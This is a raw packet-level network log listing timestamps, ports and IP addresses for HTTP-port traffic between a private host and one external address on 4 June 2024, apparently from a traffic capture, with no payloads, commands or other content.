Jun 4, 2024 23:09:16.265666008 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.302093983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.302107096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.302119017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.302169085 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.302187920 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.302197933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.302205086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.302222013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.302228928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.302233934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.302244902 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.302247047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.302258968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.302261114 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.302269936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.302282095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.302288055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.302294016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.302304983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.302305937 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.302318096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.302330017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.302337885 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.302341938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.302361012 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.302378893 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.345485926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.345504999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.345521927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.345532894 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.345542908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.345550060 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.345552921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.345563889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.345573902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.345581055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.345585108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.345594883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.345598936 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.345604897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.345612049 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.345632076 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.345807076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.345838070 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.345922947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.345932007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.345943928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.345953941 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.345953941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.345966101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.345971107 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.345976114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.345985889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.345987082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.345995903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.346014977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.346026897 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.388636112 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.388664961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.388675928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.388720036 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.388752937 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.388762951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.388773918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.388786077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.388798952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.388812065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.388812065 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.388822079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.388834000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.388837099 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.388856888 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.388870001 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.388890028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.388900995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.388911963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.388925076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.388926029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.388935089 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.388942003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.388953924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.388959885 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.388964891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.388977051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.388982058 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389005899 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389017105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389029026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389029026 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389051914 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389070988 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389095068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389106035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389116049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389126062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389131069 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389138937 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389144897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389154911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389162064 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389167070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389178038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389184952 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389189959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389209032 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389234066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389441967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389478922 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389492989 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389503956 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389539003 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389656067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389667034 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389678001 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389689922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389699936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389703989 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389709949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389712095 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389722109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389733076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389741898 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389744043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389755011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389760017 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389766932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389777899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389785051 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389796972 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389805079 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389808893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389818907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389828920 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389831066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389842033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389847994 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389853001 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389863014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389874935 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389877081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389889002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389892101 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389900923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389914036 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389919043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389930010 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389940023 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389940977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389952898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389954090 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389966011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389977932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.389981031 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.389988899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390001059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390016079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390016079 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390016079 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390027046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390038013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390045881 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390049934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390058994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390064955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390077114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390093088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390094042 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390105009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390116930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390120029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390127897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390140057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390145063 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390151978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390165091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390170097 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390177965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390187979 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390191078 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390202045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390202045 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390213966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390224934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390228033 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390243053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390253067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390254974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390265942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390268087 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390276909 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390288115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390299082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390305996 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390310049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390320063 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390331984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390335083 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390343904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390346050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390356064 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390367031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390373945 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390377998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390388966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390394926 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390402079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390414000 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390427113 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390463114 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390485048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390508890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390549898 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390649080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390659094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390665054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390670061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390675068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390678883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390688896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390698910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390763998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390796900 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390834093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390844107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390853882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390866041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390870094 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390882969 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390883923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390896082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390902042 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390907049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390918970 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390928030 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390930891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390942097 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390944958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390955925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390966892 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390968084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390979052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.390990973 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.390993118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391004086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391011000 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391016006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391027927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391031981 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391038895 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391052961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391058922 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391066074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391077995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391083002 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391107082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391370058 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391391039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391417027 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391419888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391441107 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391452074 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391479969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391490936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391503096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391519070 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391527891 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391529083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391541004 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391549110 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391554117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391565084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391566992 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391575098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391581059 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391587019 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391601086 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391624928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391655922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391668081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391685963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391696930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391701937 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391716003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391721010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391729116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391740084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391742945 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391752958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391756058 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391765118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391776085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391783953 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391803026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391804934 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391814947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391825914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391828060 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391851902 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391874075 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391928911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391946077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391957045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391963005 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391968012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391980886 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.391985893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391995907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.391999960 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392007113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392021894 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392024040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392035007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392046928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392047882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392060995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392074108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392075062 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392085075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392086029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392103910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392107964 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392116070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392127037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392134905 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392138958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392151117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392158031 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392163992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392175913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392180920 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.392189026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.392201900 CEST	80	49713	77.91.77.81	192.168.2.11
